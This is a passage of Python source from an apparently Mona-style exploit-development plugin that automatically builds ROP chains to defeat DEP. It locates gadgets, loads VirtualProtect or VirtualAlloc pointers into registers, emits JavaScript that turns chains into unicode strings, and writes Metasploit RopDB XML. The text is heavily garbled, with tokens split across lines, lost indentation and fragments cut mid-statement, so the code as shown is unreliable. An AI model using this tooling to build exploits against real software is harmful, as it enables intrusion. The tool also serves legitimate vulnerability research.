return rop_gadgets;\n"
vplogtxt += " }\n\n"
vplogtxt += " function gadgets2uni(gadgets) {\n"
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
vplogtxt
+=
+=
+=
+=
+=
+=
+=
+=
"
var uni = \"\";\n"
"
for(var i=0;i<gadgets.length;i++){\n"
"
uni += d2u(gadgets[i]);\n"
"
}\n"
"
return uni;\n"
" }\n\n"
" function d2u(dword) {\n"
"
var uni = String.fromCharCode(dword & 0
xFFFF);\n"
vplogtxt += "
uni += String.fromCharCode(dword>>16);\
n"
vplogtxt
vplogtxt
vplogtxt
vplogtxt
+=
+=
+=
+=
"
return uni;\n"
" }\n\n"
"%s" % vplogtxtjs
"\n var rop_chain = gadgets2uni(get_rop_cha
in(%s));\n\n" % argtxtjs
vplogtxt += '\n-------------------------------------------------------------------------------------------------\n\n'
# MSF RopDB XML Format - spit out if only one module was selecte
d
if len(modused) == 1:
modulename = ""
for modname in modused:
modulename = modname
objMod = MnModule(modulename)
modversion = objMod.moduleVersion
modbase = objMod.moduleBase
ropdb = '<?xml version="1.0" encoding="ISO-8859-1"?>\n'
ropdb += "<db>\n<rop>\n"
ropdb += " <compatibility>\n"
ropdb += "
<target>%s</target>\n" % modversion
ropdb += " </compatibility>\n\n"
ropdb += ' <gadgets base="0x%s">\n' % toHex(modbase)
ropdb += ropdbchain.replace('[' + modulename + ']','').r
eplace('&','').replace('[IAT ' + modulename + ']','')
ropdb += ' </gadgets>\n'
ropdb += '</rop>\n</db>'
# write to file if needed
shortmodname = modulename.replace(".dll","")
ignoremodules = True
if ropdbchain.lower().find("virtualprotect") > -1:
ofile = MnLog(shortmodname+"_virtualprotect.xml"
)
thisofile = ofile.reset(showheader = False)
ofile.write(ropdb,thisofile)
if ropdbchain.lower().find("virtualalloc") > -1:
ofile = MnLog(shortmodname+"_virtualalloc.xml")
thisofile = ofile.reset(showheader = False)
ofile.write(ropdb,thisofile)
ignoremodules = False
#go to the next one
vpfile = MnLog("rop_chains.txt")
thisvplog = vpfile.reset()
vpfile.write(vplogtxt,thisvplog)
dbg.log("[+] ROP chains written to file %s" % thisvplog)
objprogressfile.write("Done creating rop chains",progressfile)
return vplogtxt
def getPickupGadget(targetreg,targetval,freetext,suggestions,interestinggadgets,
criteria,modulecriteria,routine=""):
"""
Will attempt to find a gadget that will pickup a pointer to pointer into
a register
Arguments : the destination register, the value to pick up, some free te
xt about the value,
suggestions and interestinggadgets dictionaries
Returns :
an array with the gadgets
"""
shortest_pickup = 0
thisshortest_pickup = 0
shortest_move = 0
popptr = 0
pickupfrom = ""
pickupreg = ""
pickupfound = False
pickupchain = []
movechain = []
movechain1 = []
movechain2 = []
disablelist = []
allregs = ["eax","ebx","ecx","edx","ebp","esi","edi"]
for pickuptypes in suggestions:
if pickuptypes.find("pickup pointer into " + targetreg) > -1:
thisshortest_pickup = getShortestGadget(suggestions[pick
uptypes])
if shortest_pickup == 0 or (thisshortest_pickup != 0 and
thisshortest_pickup < shortest_pickup):
shortest_pickup = thisshortest_pickup
smallparts = pickuptypes.split(" ")
pickupreg = smallparts[len(smallparts)-1].lower(
)
parts2 = interestinggadgets[shortest_pickup].spl
it("#")
#parts2[0] is empty
smallparts = parts2[1].split("[")
smallparts2 = smallparts[1].split("]")
pickupfrom = smallparts2[0].lower()
pickupfound = True
if (pickupfrom.find("+") > -1):
pickupfields = pickupfrom.split("+")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.find("-") > -1):
pickupfields = pickupfrom.split("-")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if shortest_pickup == 0:
# no direct pickup, look for indirect pickup, but prefer EAX fir
st
for movetypes in suggestions:
if movetypes.find("move eax") == 0 and movetypes.endswit
h("-> " + targetreg):
typeparts = movetypes.split(" ")
movefrom = "eax"
shortest_move = getShortestGadget(suggestions[mo
vetypes])
movechain = getGadgetMoveRegToReg(movefrom,targe
treg,suggestions,interestinggadgets)
for pickuptypes in suggestions:
if pickuptypes.find("pickup pointer into
" + movefrom) > -1:
thisshortest_pickup = getShortes
tGadget(suggestions[pickuptypes])
if shortest_pickup == 0 or (this
shortest_pickup != 0 and thisshortest_pickup < shortest_pickup):
shortest_pickup = thissh
ortest_pickup
smallparts = pickuptypes
.split(" ")
pickupreg = smallparts[l
en(smallparts)-1].lower()
parts2 = interestinggadg
ets[shortest_pickup].split("#")
#parts2[0] is empty
smallparts = parts2[1].s
plit("[")
smallparts2 = smallparts
[1].split("]")
pickupfrom = smallparts2
[0].lower()
pickupfound = True
if (pickupfrom.find("+")
> -1):
pickupfields = p
ickupfrom.split("+")
if pickupfields[
1].lower in allregs:
pickupfo
und = False
shortest
_pickup = 0
if (pickupfrom.find("-")
> -1):
pickupfields = p
ickupfrom.split("-")
if pickupfields[
1].lower in allregs:
pickupfo
und = False
shortest
_pickup = 0
if pickupfound:
break
if shortest_pickup == 0:
# no direct pickup, look for indirect pickup
for movetypes in suggestions:
if movetypes.find("move") == 0 and movetypes.endswith("> " + targetreg):
typeparts = movetypes.split(" ")
movefrom = typeparts[1]
if movefrom != "esp":
shortest_move = getShortestGadget(sugges
tions[movetypes])
movechain = getGadgetMoveRegToReg(movefr
om,targetreg,suggestions,interestinggadgets)
for pickuptypes in suggestions:
if pickuptypes.find("pickup poin
ter into " + movefrom) > -1:
thisshortest_pickup = ge
tShortestGadget(suggestions[pickuptypes])
if shortest_pickup == 0
or (thisshortest_pickup != 0 and thisshortest_pickup < shortest_pickup):
shortest_pickup
= thisshortest_pickup
smallparts = pic
kuptypes.split(" ")
pickupreg = smal
lparts[len(smallparts)-1].lower()
parts2 = interes
tinggadgets[shortest_pickup].split("#")
#parts2[0] is e
mpty
smallparts = par
ts2[1].split("[")
smallparts2 = sm
allparts[1].split("]")
pickupfrom = sma
llparts2[0].lower()
pickupfound = Tr
ue
if (pickupfrom.f
ind("+") > -1):
pickupfi
elds = pickupfrom.split("+")
if picku
pfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.f
ind("-") > -1):
pickupfi
elds = pickupfrom.split("-")
if picku
pfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if pickupfound:
break
if shortest_pickup == 0:
movechain = []
#double move
for movetype1 in suggestions:
if movetype1.find("move") == 0 and movetype1.endswith("> " + targetreg):
interimreg = movetype1.split(" ")[1]
if interimreg != "esp":
for movetype2 in suggestions:
if movetype2.find("move") == 0 a
nd movetype2.endswith("-> " + interimreg):
topickupreg= movetype2.s
plit(" ")[1]
if topickupreg != "esp":
move1 = getShort
estGadget(suggestions[movetype1])
move2 = getShort
estGadget(suggestions[movetype2])
for pickuptypes
in suggestions:
if picku
ptypes.find("pickup pointer into " + topickupreg) > -1:
thisshortest_pickup = getShortestGadget(suggestions[pickuptypes])
if shortest_pickup == 0 or (thisshortest_pickup != 0 and thisshortest_pickup < s
hortest_pickup):
shortest_pickup = thisshortest_pickup
smallparts = pickuptypes.split(" ")
pickupreg = smallparts[len(smallparts)-1].lower()
parts2 = interestinggadgets[shortest_pickup].split("#")
#parts2[0] is empty
smallparts = parts2[1].split("[")
smallparts2 = smallparts[1].split("]")
pickupfrom = smallparts2[0].lower()
pickupfound = True
if (pickupfrom.find("+") > -1):
pickupfields = pickupfrom.split("+")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if (pickupfrom.find("-") > -1):
pickupfields = pickupfrom.split("-")
if pickupfields[1].lower in allregs:
pickupfound = False
shortest_pickup = 0
if pickupfound:
movechai
n = []
movechai
n1 = getGadgetMoveRegToReg(interimreg,targetreg,suggestions,interestinggadgets)
movechai
n2 = getGadgetMoveRegToReg(topickupreg,interimreg,suggestions,interestinggadgets
)
break
if shortest_pickup > 0:
# put a value in a register
if targetval > 0:
poproutine = putValueInReg(pickupfrom,targetval,freetext
,suggestions,interestinggadgets,criteria)
for popsteps in poproutine:
pickupchain.append([popsteps[0],popsteps[1],pops
teps[2]])
else:
pickupchain.append([0,"[-] Unable to find API pointer ->
" + pickupfrom,0])
# pickup
junksize = getJunk(interestinggadgets[shortest_pickup])
pickupchain.append([shortest_pickup,"",junksize])
# move if needed
if len(movechain) > 0:
for movesteps in movechain:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
if len(movechain2) > 0:
for movesteps in movechain2:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
if len(movechain1) > 0:
for movesteps in movechain1:
pickupchain.append([movesteps[0],movesteps[1],mo
vesteps[2]])
elif (routine.lower() == "virtualalloc" or routine.lower() == "virtualpr
otect"):
# use alternative technique, in case of virtualprotect/virtualal
loc routine
if "pop " + targetreg in suggestions and "pop eax" in suggestion
s:
# find a jmp [eax]
pattern = "jmp [eax]"
base = 0
top = TOP_USERLAND
type = "instr"
al = criteria["accesslevel"]
criteria["accesslevel"] = "X"
global ptr_to_get
global ptr_counter
ptr_counter = 0
ptr_to_get = 5
theptr = 0
global silent
oldsilent = silent
silent=True
allpointers = findPattern(modulecriteria,criteria,patter
n,type,base,top)
silent = oldsilent
criteria["accesslevel"] = al
thismodname = ""
if len(allpointers) > 0:
for ptrtype in allpointers:
for ptrs in allpointers[ptrtype]:
theptr = ptrs
thismodname = MnPointer(theptr).
belongsTo()
break
if theptr > 0:
popptrtar = getShortestGadget(suggestions["pop "
+targetreg])
popptreax = getShortestGadget(suggestions["pop e
ax"])
junksize = getJunk(interestinggadgets[popptrtar]
)-4
pickupchain.append([popptrtar,"",junksize])
pickupchain.append([theptr,"JMP [EAX] [" + thism
odname + "]",0])
junksize = getJunk(interestinggadgets[popptreax]
)-4
pickupchain.append([popptreax,"",junksize])
pickupchain.append([targetval,freetext,0])
disablelist.append("eax")
pickupfound = True
if not pickupfound:
pickupchain.append([0,"[-] Unable to find gadgets to pickup the
desired API pointer into " + targetreg,0])
pickupchain.append([targetval,freetext,0])
return pickupchain,disablelist
def getRopFuncPtr(apiname,modulecriteria,criteria,mode = "iat"):
"""
Will get a pointer to pointer to the given API name in the IAT of the se
lected modules
Arguments :
apiname : the name of the functino
modulecriteria & criteria : module/pointer criteria
Returns :
a pointer (integer value, 0 if no pointer was found)
text (with optional info)
"""
global silent
oldsilent = silent
silent = True
global ptr_to_get
ptr_to_get = -1
rfuncsearch = apiname.lower()
ropfuncptr = 0
ropfunctext = "ptr to &" + apiname + "()"
if mode == "iat":
ropfuncs,ropfuncoffsets = findROPFUNC(modulecriteria,criteria)
silent = oldsilent
#first look for good one
for ropfunctypes in ropfuncs:
if ropfunctypes.lower().find(rfuncsearch) > -1 and ropfu
nctypes.lower().find("rebased") == -1:
ropfuncptr = ropfuncs[ropfunctypes][0]
break
if ropfuncptr == 0:
for ropfunctypes in ropfuncs:
if ropfunctypes.lower().find(rfuncsearch) > -1:
ropfuncptr = ropfuncs[ropfunctypes][0]
break
#still haven't found ? clear out modulecriteria
if ropfuncptr == 0:
oldsilent = silent
silent = True
limitedmodulecriteria = {}
limitedmodulecriteria["os"] = True
ropfuncs2,ropfuncoffsets2 = findROPFUNC(limitedmodulecri
teria,criteria)
silent = oldsilent
for ropfunctypes in ropfuncs2:
if ropfunctypes.lower().find(rfuncsearch) > -1 a
nd ropfunctypes.lower().find("rebased") == -1:
ropfuncptr = ropfuncs2[ropfunctypes][0]
ropfunctext += " (skipped module criteri
a, check if pointer is reliable !)"
break
if ropfuncptr == 0:
ropfunctext = "[-] Unable to find ptr to &" + apiname+"(
)"
else:
ropfunctext += " [IAT " + MnPointer(ropfuncptr).belongsT
o() + "]"
else:
# read EAT
modulestosearch = getModulesToQuery(modulecriteria)
for mod in modulestosearch:
tmod = MnModule(mod)
funcs = tmod.getEAT()
for func in funcs:
funcname = funcs[func].lower()
if funcname.find(rfuncsearch) > -1:
ropfuncptr = func
break
if ropfuncptr == 0:
ropfunctext = "[-] Unable to find required API pointer"
return ropfuncptr,ropfunctext
def putValueInReg(reg,value,freetext,suggestions,interestinggadgets,criteria):
putchain = []
allownull = True
popptr = 0
gadgetfound = False
offset = 0
if "+" in reg:
try:
rval = reg.split("+")[1].strip("h")
offset = int(rval,16) * (-1)
reg = reg.split("+")[0]
except:
reg = reg.split("+")[0]
offset = 0
elif "-" in reg:
try:
rval = reg.split("-")[1].strip("h")
offset = int(rval,16)
reg = reg.split("-")[0]
except:
reg = reg.split("-")[0]
offset = 0
if value != 0:
value = value + offset
if value < 0:
value = 0xffffffff + value + 1
negvalue = 4294967296 - value
ptrval = MnPointer(value)
if meetsCriteria(ptrval,criteria):
# easy way - just pop it into a register
for poptype in suggestions:
if poptype.find("pop "+reg) == 0:
popptr = getShortestGadget(suggestions[poptype])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([value,freetext,0])
gadgetfound = True
break
if not gadgetfound:
# move
for movetype in suggestions:
if movetype.startswith("move") and movetype.ends
with("-> " + reg):
# get "from" reg
fromreg = movetype.split(" ")[1].lower()
for poptype in suggestions:
if poptype.find("pop "+fromreg)
== 0:
popptr = getShortestGadg
et(suggestions[poptype])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,
"",junksize])
putchain.append([value,f
reetext,0])
moveptr = getShortestGad
get(suggestions[movetype])
movechain = getGadgetMov
eRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movecha
in:
putchain.append(
[movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if gadgetfound:
break
if not gadgetfound or not meetsCriteria(ptrval,criteria):
if meetsCriteria(MnPointer(negvalue),criteria):
if "pop " + reg in suggestions and "neg "+reg in suggest
ions:
popptr = getShortestGadget(suggestions["pop "+re
g])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([negvalue,"Value to negate, will
become 0x" + toHex(value),0])
negptr = getShortestGadget(suggestions["neg "+re
g])
junksize = getJunk(interestinggadgets[negptr])
putchain.append([negptr,"",junksize])
gadgetfound = True
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movet
ype.endswith("-> " + reg):
fromreg = movetype.split(" ")[1]
if "pop " + fromreg in suggestio
ns and "neg " + fromreg in suggestions:
popptr = getShortestGadg
et(suggestions["pop "+fromreg])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,
"",junksize])
putchain.append([negvalu
e,"Value to negate, will become 0x" + toHex(value)])
negptr = getShortestGadg
et(suggestions["neg "+fromreg])
junksize = getJunk(inter
estinggadgets[negptr])
putchain.append([negptr,
"",junksize])
movechain = getGadgetMov
eRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movecha
in:
putchain.append(
[movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if not gadgetfound:
neg "+reg])
junksize = getJunk(interestinggadgets[ne
gptr])
putchain.append([negptr,"",junksize])
incptr = getShortestGadget(suggestions["
inc "+reg])
junksize = getJunk(interestinggadgets[in
cptr])
while toinc < 0:
putchain.append([incptr,"",junks
ize])
toinc += 1
gadgetfound = True
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movet
ype.endswith("-> " + reg):
fromreg = movetype.split(" ")[1]
if "pop " + fromreg in suggestio
ns and "neg " + fromreg in suggestions and "inc "+fromreg in suggestions:
toinc = 0
while not meetsCriteria(
MnPointer(negvalue-toinc),criteria):
toinc -= 1
if toinc < -250:
break
if toinc > -250:
popptr = getShor
testGadget(suggestions["pop "+fromreg])
junksize = getJu
nk(interestinggadgets[popptr])-4
putchain.append(
[popptr,""])
putchain.append(
[negvalue-toinc,"Value to negate, destination value : 0x" + toHex(value)])
negptr = getShor
testGadget(suggestions["neg "+fromreg])
junksize = getJu
nk(interestinggadgets[negptr])
putchain.append(
[negptr,"",junksize])
decptr = getShor
testGadget(suggestions["inc "+fromreg])
junksize = getJu
nk(interestinggadgets[incptr])
while toinc < 0
:
putchain
.append([incptr,"",junksize])
toinc +=
1
movechain = getG
adgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in
movechain:
putchain
.append([movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = Tr
ue
break
if not gadgetfound and "add value to " + reg in suggestions and
"pop " + reg in suggestions:
addtypes = ["ADD","ADC","XOR", "SUB"]
for addtype in addtypes:
for ptrs in suggestions["add value to " + reg]:
thisinstr = interestinggadgets[ptrs]
thisparts = thisinstr.split("#")
addinstr = thisparts[1].lstrip().split("
,")
if thisparts[1].startswith(addtype):
if addtype == "ADD" or addtype =
= "ADC":
addvalue = hexStrToInt(a
ddinstr[1])
delta = value - addvalue
if delta < 0:
delta = 0xffffff
ff + delta + 1
if addtype == "XOR":
delta = hexStrToInt(addi
nstr[1]) ^ value
if addtype == "SUB":
addvalue = hexStrToInt(a
ddinstr[1])
delta = value + addvalue
if delta < 0:
delta = 0xffffff
ff + delta + 1
if meetsCriteria(MnPointer(delta
),criteria):
popptr = getShortestGadg
et(suggestions["pop "+reg])
junksize = getJunk(inter
estinggadgets[popptr])-4
putchain.append([popptr,
"",junksize])
putchain.append([delta,"
Diff to desired value",0])
junksize = getJunk(inter
estinggadgets[ptrs])
putchain.append([ptrs,""
,junksize])
gadgetfound = True
break
if not gadgetfound:
for movetype in suggestions:
if movetype.startswith("move") and movetype.ends
with("-> " + reg):
fromreg = movetype.split(" ")[1]
if "add value to " + fromreg in suggesti
ons and "pop " + fromreg in suggestions:
addtypes = ["ADD","ADC","XOR","S
UB"]
for addtype in addtypes:
for ptrs in suggestions[
"add value to " + fromreg]:
thisinstr = inte
restinggadgets[ptrs]
thisparts = this
instr.split("#")
addinstr = thisp
arts[1].lstrip().split(",")
if thisparts[1].
startswith(addtype):
if addty
pe == "ADD" or addtype == "ADC":
addvalue = hexStrToInt(addinstr[1])
delta = value - addvalue
if delta < 0:
delta = 0xffffffff + delta + 1
if addty
pe == "XOR":
delta = hexStrToInt(addinstr[1]) ^ value
if addty
pe == "SUB":
addvalue = hexStrToInt(addinstr[1])
delta = value + addvalue
if delta < 0:
delta = 0xffffffff + delta + 1
#dbg.log
("0x%s : %s, delta : 0x%s" % (toHex(ptrs),thisinstr,toHex(delta)))
if meets
Criteria(MnPointer(delta),criteria):
popptr = getShortestGadget(suggestions["pop "+fromreg])
junksize = getJunk(interestinggadgets[popptr])-4
putchain.append([popptr,"",junksize])
putchain.append([delta,"Diff to desired value",0])
junksize = getJunk(interestinggadgets[ptrs])
putchain.append([ptrs,"",junksize])
movechain = getGadgetMoveRegToReg(fromreg,reg,suggestions,interestinggadgets)
for movesteps in movechain:
putchain.append([movesteps[0],movesteps[1],movesteps[2]])
gadgetfound = True
break
if not gadgetfound and "inc " + reg in suggestions and value <=
64:
cnt = 0
moveinstr = interestingg
adgets[moveptr].lstrip()
if not(moveinstr.startsw
ith("# XOR") or moveinstr.startswith("# OR") or moveinstr.startswith("# AD")):
#kewl
pptr = getShorte
stGadget(suggestions["pop " + increg])
junksize = getJu
nk(interestinggadgets[pptr])-4
clearchain.appen
d([pptr,"",junksize])
clearchain.appen
d([0xffffffff," ",0])
junksize = getJu
nk(interestinggadgets[iptr])
clearchain.appen
d([iptr,"",junksize])
junksize = getJu
nk(interestinggadgets[moveptr])
clearchain.appen
d([moveptr,"",junksize])
clearfound = Tru
e
break
if not clearfound:
clearchain.append([0,"[-] Unable to find a gadge
t to clear " + reg,0])
else:
#pop FFFFFFFF into reg, then do inc reg => 0
pptr = getShortestGadget(suggestions["pop " + reg])
junksize = getJunk(interestinggadgets[pptr])-4
clearchain.append([pptr,"",junksize])
clearchain.append([0xffffffff," ",0])
iptr = getShortestGadget(suggestions["inc " + reg])
junksize = getJunk(interestinggadgets[iptr])
clearchain.append([iptr,"",junksize])
else:
shortest_clear = getShortestGadget(suggestions["clear " + reg])
junksize = getJunk(interestinggadgets[shortest_clear])
clearchain.append([shortest_clear,"",junksize])
return clearchain
def getGadgetValueToReg(reg,value,suggestions,interestinggadgets):
negfound = False
blocktxt = ""
blocktxt2 = ""
tonegate = 4294967296 - value
nregs = ["eax","ebx","ecx","edx","edi"]
junksize = 0
junk2size = 0
negateline = "
0x" + toHex(tonegate)+", # value to negate, target
value : 0x" + toHex(value) + ", target reg : " + reg +"\n"
if "neg " + reg in suggestions:
negfound = True
negptr = getShortestGadget(suggestions["neg " + reg])
if "pop "+reg in suggestions:
pptr = getShortestGadget(suggestions["pop " + reg])
blocktxt2 += "
0x" + toHex(pptr)+", "+interestingg
adgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n"
blocktxt2 += negateline
junk2size = getJunk(interestinggadgets[pptr])-4
else:
blocktxt2 += "
0x????????,# find a way to pop the
next value into "+thisreg+"\n"
blocktxt2 += negateline
blocktxt2 += "
0x" + toHex(negptr)+", "+interestinggadgets
[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n"
junksize = getJunk(interestinggadgets[negptr])-4
if not negfound:
nregs.remove(reg)
for thisreg in nregs:
if "neg "+ thisreg in suggestions and not negfound:
blocktxt2 = ""
junk2size = 0
negfound = True
#get pop first
if "pop "+thisreg in suggestions:
pptr = getShortestGadget(suggestions["po
p " + thisreg])
blocktxt2 += "
0x" + toHex(pptr)+",
"+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr).belongsTo()+")\n"
blocktxt2 += negateline
junk2size = getJunk(interestinggadgets[p
ptr])-4
else:
blocktxt2 += "
0x????????,# find a
way to pop the next value into "+thisreg+"\n"
blocktxt2 += negateline
negptr = getShortestGadget(suggestions["neg " +
thisreg])
blocktxt2 += "
0x" + toHex(negptr)+", "+in
terestinggadgets[negptr].strip()+" ("+MnPointer(negptr).belongsTo()+")\n"
junk2size = junk2size + getJunk(interestinggadge
ts[negptr])-4
#now move it to reg
if "move " + thisreg + " -> " + reg in suggestio
ns:
bptr = getShortestGadget(suggestions["mo
ve " + thisreg + " -> " + reg])
if interestinggadgets[bptr].strip().star
tswith("# ADD"):
if not "clear " + reg in suggest
ions:
# other way to clear reg
, using pop + inc ?
if not "inc " + reg in s
uggestions or not "pop " + reg in suggestions:
blocktxt2 += "
0x????????, # find pointer to clear " + reg+"\n"
else:
#pop FFFFFFFF in
to reg, then do inc reg => 0
pptr = getShorte
stGadget(suggestions["pop " + reg])
blocktxt2 += "
0x" + toHex(pptr)+", "+interestinggadgets[pptr].strip()+" ("+MnPointer(pptr
).belongsTo()+")\n"
blocktxt2 += "
0xffffffff, # pop value into " + reg + "\n"
blocktxt2 += cre
ateJunk(getJunk(interestinggadgets[pptr])-4)
iptr = getShorte
stGadget(suggestions["inc " + reg])
blocktxt2 += "
0x" + toHex(iptr)+", "+interestinggadgets[iptr].strip()+" ("+MnPointer(pptr
).belongsTo()+")\n"
junksize += getJ
unk(interestinggadgets[iptr])
else:
clearptr = getShortestGa
dget(suggestions["empty " + reg])
blocktxt2 += "
0x"
+ toHex(clearptr)+", "+interestinggadgets[clearptr].strip()+" ("+MnPointer(clea
rptr).belongsTo()+")\n"
junk2size = junk2size +
getJunk(interestinggadgets[clearptr])-4
blocktxt2 += "
0x" + toHex(bptr)+",
"+interestinggadgets[bptr].strip()+" ("+MnPointer(bptr).belongsTo()+")\n"
junk2size = junk2size + getJunk(interest
inggadgets[bptr])-4
else:
negfound = False
if negfound:
blocktxt += blocktxt2
else:
blocktxt = ""
junksize = junksize + junk2size
return blocktxt,junksize
def getOffset(instructions):
offset = 0
instrparts = instructions.split("#")
retpart = instrparts[len(instrparts)-1].strip()
retparts = retpart.split(" ")
if len(retparts) > 1:
offset = hexStrToInt(retparts[1])
return offset
def getJunk(instructions):
junkpop = instructions.count("POP ") * 4
junkpush = instructions.count("PUSH ") * -4
junkpushad = instructions.count("PUSHAD ") * -32
junkpopad = instructions.count("POPAD") * 32
junkinc = instructions.count("INC ESP") * 1
junkdec = instructions.count("DEC ESP") * -1
junkesp = 0
if instructions.find("ADD ESP,") > -1:
instparts = instructions.split("#")
for part in instparts:
thisinstr = part.strip()
if thisinstr.startswith("ADD ESP,"):
value = thisinstr.split(",")
junkesp += hexStrToInt(value[1])
if instructions.find("SUB ESP,") > -1:
instparts = instructions.split("#")
for part in instparts:
thisinstr = part.strip()
if thisinstr.startswith("SUB ESP,"):
value = thisinstr.split(",")
junkesp -= hexStrToInt(value[1])
junk = junkpop + junkpush + junkpopad + junkpushad + junkesp
return junk
def createJunk(size,message="filler (compensate)",alignsize=0):
bytecnt = 0
dword = 0
junktxt = ""
while bytecnt < size:
dword = 0
junktxt += "
0x"
while dword < 4 and bytecnt < size :
junktxt += "41"
dword += 1
bytecnt += 1
junktxt += ","
junktxt += toSize("",alignsize + 4 - dword)
junktxt += " # "+message+"\n"
return junktxt
def getShortestGadget(chaintypedict):
shortest = 100
shortestptr = 0
shortestinstr = "A" * 1000
thischaindict = chaintypedict.copy()
#shuffle dict so returning ptrs would be different each time
while thischaindict:
typeptr, thisinstr = random.choice(thischaindict.items())
if thisinstr.startswith("# XOR") or thisinstr.startswith("# OR")
or thisinstr.startswith("# AD"):
thisinstr += "
"
# make sure we don prefer MOV or
XCHG
thiscount = thisinstr.count("#")
thischaindict.pop(typeptr)
if thiscount < shortest:
shortest = thiscount
shortestptr = typeptr
shortestinstr = thisinstr
else:
if thiscount == shortest:
if len(thisinstr) < len(shortestinstr):
shortest = thiscount
shortestptr = typeptr
shortestinstr = thisinstr
return shortestptr
def isInterestingGadget(instructions):
if isAsciiString(instructions):
interesting = [
"POP E", "XCHG E", "LEA E", "PUS
H E", "XOR E", "AND E", "NEG E",
"OR E", "ADD E", "SUB E", "INC E
", "DEC E", "POPAD", "PUSHAD",
"SUB A", "ADD A", "NOP", "ADC E"
,
"SUB BH", "SUB BL", "ADD BH", "A
DD BL",
"SUB CH", "SUB CL", "ADD CH", "A
DD CL",
addrline = 0
ending = ""
thisinstr = ""
thisptr = ""
for thisLine in content:
if thisLine.find("[addr:") == 0:
thisLineparts = thisLine.split("]")
if addrline == 0:
thisptr = hexStrToInt(thisLineparts[0].r
eplace("[addr: ",""))
thisLineparts = thisLine.split(" ")
thisinstrpart = thisLineparts[len(thisLineparts)
-1].upper().strip()
if thisinstrpart != "":
thisinstr += " # " + thisinstrpart
ending = thisinstrpart
addrline += 1
else:
addrline = 0
if thisptr != "" and ending != "" and thisinstr
!= "":
if not ending in readopcodes:
readopcodes[ending] = [thisptr,t
hisinstr]
else:
readopcodes[ending] += ([thisptr
,thisinstr])
thisptr = ""
ending = ""
thisinstr = ""
else:
dbg.log("[+] Importing Mona legacy ROP file...")
for thisLine in content:
if isAsciiString(thisLine.replace("\r","").replace("\n",
"")):
refpointer,instr = splitToPtrInstr(thisLine)
if refpointer != -1:
#get ending
instrparts = instr.split("#")
ending = instrparts[len(instrparts)-1]
if not ending in readopcodes:
readopcodes[ending] = [refpointe
r,instr]
else:
readopcodes[ending] += ([refpoin
ter,instr])
return readopcodes
def isGoodGadgetPtr(gadget,criteria):
if gadget in CritCache:
return CritCache[gadget]
else:
gadgetptr = MnPointer(gadget)
status = meetsCriteria(gadgetptr,criteria)
CritCache[gadget] = status
return status
def getStackPivotDistance(gadget,distance=0):
offset = 0
distance_str = str(distance).lower()
mindistance = 0
maxdistance = 0
if "," not in distance_str:
# only mindistance
maxdistance = 99999999
mindistance = to_int(distance_str)
else:
mindistance, maxdistance = distance_str.split(",")
mindistance = to_int(mindistance)
maxdistance = to_int(maxdistance)
gadgets = filter(lambda x: x.strip(), gadget.split(" # "))
for g in gadgets:
if "ADD ESP," in g:
offset += hexStrToInt(g.split(",")[1])
elif "SUB ESP," in g:
offset += hexStrToInt(g.split(",")[1])
elif "INC ESP" in g:
offset += 1
elif "DEC ESP" in g:
offset -= 1
elif "POP " in g:
offset += 4
elif "PUSH " in g:
offset -= 4
elif "POPAD" in g:
offset += 32
elif "PUSHAD" in g:
offset -= 32
elif ("DWORD PTR" in g or "[" in g) and "FS" not in g:
return 0
if mindistance <= offset and offset <= maxdistance:
return offset
else:
return 0
def isGoodGadgetInstr(instruction):
if isAsciiString(instruction):
forbidden = [
"???", "LEAVE", "JMP ", "CALL ", "JB ",
"JL ", "JE ", "JNZ ",
"JGE ", "JNS ","SAL ", "LOOP", "LOCK", "
BOUND", "SAR", "IN ",
"OUT ", "RCL", "RCR", "ROL", "ROR", "SHL
", "SHR", "INT", "JECX",
"JNP", "JPO", "JPE", "JCXZ", "JA", "JB",
"JNA", "JNB", "JC", "JNC",
"JG", "JLE", "MOVS", "CMPS", "SCAS", "LO
DS", "STOS", "REP", "REPE",
"REPZ", "REPNE", "REPNZ", "LDS", "FST",
"FIST", "FMUL", "FDIVR",
"FSTP", "FST", "FLD", "FDIV", "FXCH", "J
S ", "FIDIVR", "SBB",
"SALC", "ENTER", "CWDE", "FCOM", "LAHF",
"DIV", "JO", "OUT", "IRET",
"FILD", "RETF","HALT","HLT","AAM","FINIT
","INT3"
]
for instr in forbidden:
if instruction.upper().find(instr) > -1:
return False
return True
return False
def isGoodJopGadgetInstr(instruction):
if isAsciiString(instruction):
forbidden = [
"???", "LEAVE", "RETN", "CALL ", "JB ",
"JL ", "JE ", "JNZ ",
"JGE ", "JNS ","SAL ", "LOOP", "LOCK", "
BOUND", "SAR", "IN ",
"OUT ", "RCL", "RCR", "ROL", "ROR", "SHL
", "SHR", "INT", "JECX",
"JNP", "JPO", "JPE", "JCXZ", "JA", "JB",
"JNA", "JNB", "JC", "JNC",
"JG", "JLE", "MOVS", "CMPS", "SCAS", "LO
DS", "STOS", "REP", "REPE",
"REPZ", "REPNE", "REPNZ", "LDS", "FST",
"FIST", "FMUL", "FDIVR",
"FSTP", "FST", "FLD", "FDIV", "FXCH", "J
S ", "FIDIVR", "SBB",
